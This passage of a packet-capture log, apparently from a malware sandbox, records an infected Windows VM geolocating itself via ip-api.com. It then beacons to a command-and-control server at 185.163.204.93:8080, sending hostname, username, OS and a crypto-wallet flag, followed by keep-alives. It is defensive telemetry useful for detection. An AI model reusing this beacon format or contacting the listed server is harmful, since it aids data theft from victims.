\"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50162, \"\"dport\"\": 80, \"\"seq\"\": 3346682246, \"\"ack\"\": 527920617, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:31:58.658254,123,TCP 192.168.122.168:50162 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50162,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,PA,,http://ip-api.com/json/?fields=countryCode,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /json/?fields=countryCode,525400577f945254007bb79208004500007d06eb4000800677dec0a87aa8d05f7001c3f20050c77a51861f776de9501820147c210000474554202f6a736f6e2f3f6669656c64733d636f756e747279436f646520485454502f312e310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a486f73743a2069702d6170692e636f6d0d0a0d0a,\"RT.W..RT.{....E..}..@...w...z.._p....P.zQ..wm.P. .|!..GET /json/?fields=countryCode HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\n\n\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 125, \"\"id\"\": 1771, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30686, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50162, \"\"dport\"\": 80, \"\"seq\"\": 3346682246, \"\"ack\"\": 527920617, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 31777, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/json/?fields=countryCode\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": null, \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"ip-api.com\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Mozilla/5.0\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-04-29 14:31:58.658269,124,TCP 208.95.112.1:80 -> 192.168.122.168:50162,208.95.112.1,192.168.122.168,80,50162,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=527920617 Ack=3346682331,5254007bb792525400577f94080045000028d78240004006e79bd05f7001c0a87aa80050c3f21f776de9c77a51db501000537bcc0000,RT.{..RT.W....E..(..@.@...._p...z..P...wm..zQ.P..S{...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 55170, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59291, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50162, \"\"seq\"\": 527920617, \"\"ack\"\": 3346682331, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:31:59.433100,125,TCP 208.95.112.1:80 -> 192.168.122.168:50162,208.95.112.1,192.168.122.168,80,50162,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,5254007bb792525400577f940800450000ecd78340004006e6d6d05f7001c0a87aa80050c3f21f776de9c77a51db501800537c900000485454502f312e3120323030204f4b0d0a446174653a205765642c2032392041707220323032362031343a33313a353820474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e3b20636861727365743d7574662d380d0a436f6e74656e742d4c656e6774683a2032300d0a4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a202a0d0a582d54746c3a2036300d0a582d526c3a2034340d0a0d0a7b22636f756e747279436f6465223a225553227d,\"{\"\"countryCode\"\":\"\"US\"\"}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 236, \"\"id\"\": 55171, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59094, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50162, \"\"seq\"\": 527920617, \"\"ack\"\": 3346682331, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 31888, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": \"\"*\"\", \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"20\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"application/json; charset=utf-8\"\", \"\"Date\"\": \"\"Wed, 29 Apr 2026 14:31:58 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": \"\"{b'X-Ttl': b'60', b'X-Rl': b'44'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"countryCode\\\"\":\\\"\"US\\\"\"}\"\"}}]\"\n2026-04-29 14:31:59.435064,126,TCP 192.168.122.168:50161 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50161,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=2775483792 Ack=199973463,525400577f945254007bb79208004500002c963840008006a341c0a87aa8b9a3cc5dc3f11f90a56e85900beb5a5750188000c17000009f000000,....,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 44, \"\"id\"\": 38456, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41793, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50161, \"\"dport\"\": 8080, \"\"seq\"\": 2775483792, \"\"ack\"\": 199973463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49520, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"9f000000\"\"}}]\"\n2026-04-29 14:31:59.435096,127,TCP 185.163.204.93:8080 -> 192.168.122.168:50161,185.163.204.93,192.168.122.168,8080,50161,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=199973463 Ack=2775483796,5254007bb792525400577f94080045000028904c40004006e931b9a3cc5dc0a87aa81f90c3f10beb5a57a56e859450100053c16c0000,RT.{..RT.W....E..(.L@.@..1...]..z.......ZW.n..P..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36940, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59697, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50161, \"\"seq\"\": 199973463, \"\"ack\"\": 2775483796, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:31:59.435242,128,TCP 192.168.122.168:50161 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50161,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=2775483796 Ack=199973463,525400577f945254007bb7920800450000c7963940008006a2a5c0a87aa8b9a3cc5dc3f11f90a56e85940beb5a5750188000c20b00007b2274797065223a22696e666f222c2264617461223a7b22686f73746e616d65223a224445534b544f502d4a4c4355504b30222c22757365726e616d65223a2230784b616c222c226f73223a224d6963726f736f66742057696e646f77732031302050726f2031302e302e3139303434222c22636f756e747279223a225553222c226d6f6e69746f7273223a312c2277616c6c657473223a66616c73657d7d,\"{\"\"type\"\":\"\"info\"\",\"\"data\"\":{\"\"hostname\"\":\"\"DESKTOP-JLCUPK0\"\",\"\"username\"\":\"\"0xKal\"\",\"\"os\"\":\"\"Microsoft Windows 10 Pro 10.0.19044\"\",\"\"country\"\":\"\"US\"\",\"\"monitors\"\":1,\"\"wallets\"\":false}}\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 199, \"\"id\"\": 38457, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41637, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50161, \"\"dport\"\": 8080, \"\"seq\"\": 2775483796, \"\"ack\"\": 199973463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49675, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"type\\\"\":\\\"\"info\\\"\",\\\"\"data\\\"\":{\\\"\"hostname\\\"\":\\\"\"DESKTOP-JLCUPK0\\\"\",\\\"\"username\\\"\":\\\"\"0xKal\\\"\",\\\"\"os\\\"\":\\\"\"Microsoft Windows 10 Pro 10.0.19044\\\"\",\\\"\"country\\\"\":\\\"\"US\\\"\",\\\"\"monitors\\\"\":1,\\\"\"wallets\\\"\":false}}\"\"}}]\"\n2026-04-29 14:31:59.435252,129,TCP 185.163.204.93:8080 -> 192.168.122.168:50161,185.163.204.93,192.168.122.168,8080,50161,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=199973463 Ack=2775483955,5254007bb792525400577f94080045000028904d40004006e930b9a3cc5dc0a87aa81f90c3f10beb5a57a56e863350100053c16c0000,RT.{..RT.W....E..(.M@.@..0...]..z.......ZW.n.3P..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 36941, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59696, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50161, \"\"seq\"\": 199973463, \"\"ack\"\": 2775483955, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:31:59.523634,130,TCP 192.168.122.168:50162 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50162,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,A,,,Ether > IP > TCP,3,TCP A Seq=3346682331 Ack=527920813,525400577f945254007bb79208004500002806ec400080067832c0a87aa8d05f7001c3f20050c77a51db1f776ead501020137bcc0000,RT.W..RT.{....E..(..@...x2..z.._p....P.zQ..wn.P. .{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1772, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30770, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50162, \"\"dport\"\": 80, \"\"seq\"\": 3346682331, \"\"ack\"\": 527920813, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8211, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:32:09.523420,131,TCP 192.168.122.168:50161 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50161,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=2775483954 Ack=199973463,525400577f945254007bb792080045000029963a40008006a342c0a87aa8b9a3cc5dc3f11f90a56e86320beb5a5750108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38458, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41794, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50161, \"\"dport\"\": 8080, \"\"seq\"\": 2775483954, \"\"ack\"\": 199973463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:32:09.523454,132,TCP 185.163.204.93:8080 -> 192.168.122.168:50161,185.163.204.93,192.168.122.168,8080,50161,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=199973463 Ack=2775483955,5254007bb792525400577f94080045000034904e40004006e923b9a3cc5dc0a87aa81f90c3f10beb5a57a56e863380100053c17800000101050aa56e8632a56e8633,\"RT.{..RT.W....E..4.N@.@..#...]..z.......ZW.n.3...S.x.....\n.n.2.n.3\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 36942, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59683, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50161, \"\"seq\"\": 199973463, \"\"ack\"\": 2775483955, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2775483954, 2775483955))]\"\"}}]\"\n2026-04-29 14:32:19.525754,133,TCP 192.168.122.168:50161 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50161,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=2775483954 Ack=199973463,525400577f945254007bb792080045000029963b40008006a341c0a87aa8b9a3cc5dc3f11f90a56e86320beb5a5750108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38459, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41793, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50161, \"\"dport\"\": 8080, \"\"seq\"\": 2775483954, \"\"ack\"\": 199973463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-04-29 14:32:19.525796,134,TCP 185.163.204.93:8080 -> 192.168.122.168:50161,185.163.204.93,192.168.122.168,8080,50161,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=199973463 Ack=2775483955,5254007bb792525400577f94080045000034904f40004006e922b9a3cc5dc0a87aa81f90c3f10beb5a57a56e863380100053c17800000101050aa56e8632a56e8633,\"RT.{..RT.W....E..4.O@.@..\"\"...]..z.......ZW.n.3...S.x.....\n.n.2.n.3\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 36943, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 59682, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50161, \"\"seq\"\": 199973463, \"\"ack\"\": 2775483955, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2775483954, 2775483955))]\"\"}}]\"\n2026-04-29 14:32:29.538419,135,TCP 192.168.122.168:50161 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50161,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP > HTTP > Raw,5,TCP A Seq=2775483954 Ack=199973463,525400577f945254007bb792080045000029963c40008006a340c0a87aa8b9a3cc5dc3f11f90a56e86320beb5a5750108000c16d000000,\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 38460, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41792, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50161, \"\"dport\"\": 8080, \"\"seq\"\": 2775483954, \"\"ack\"\": 199973463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49517, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": 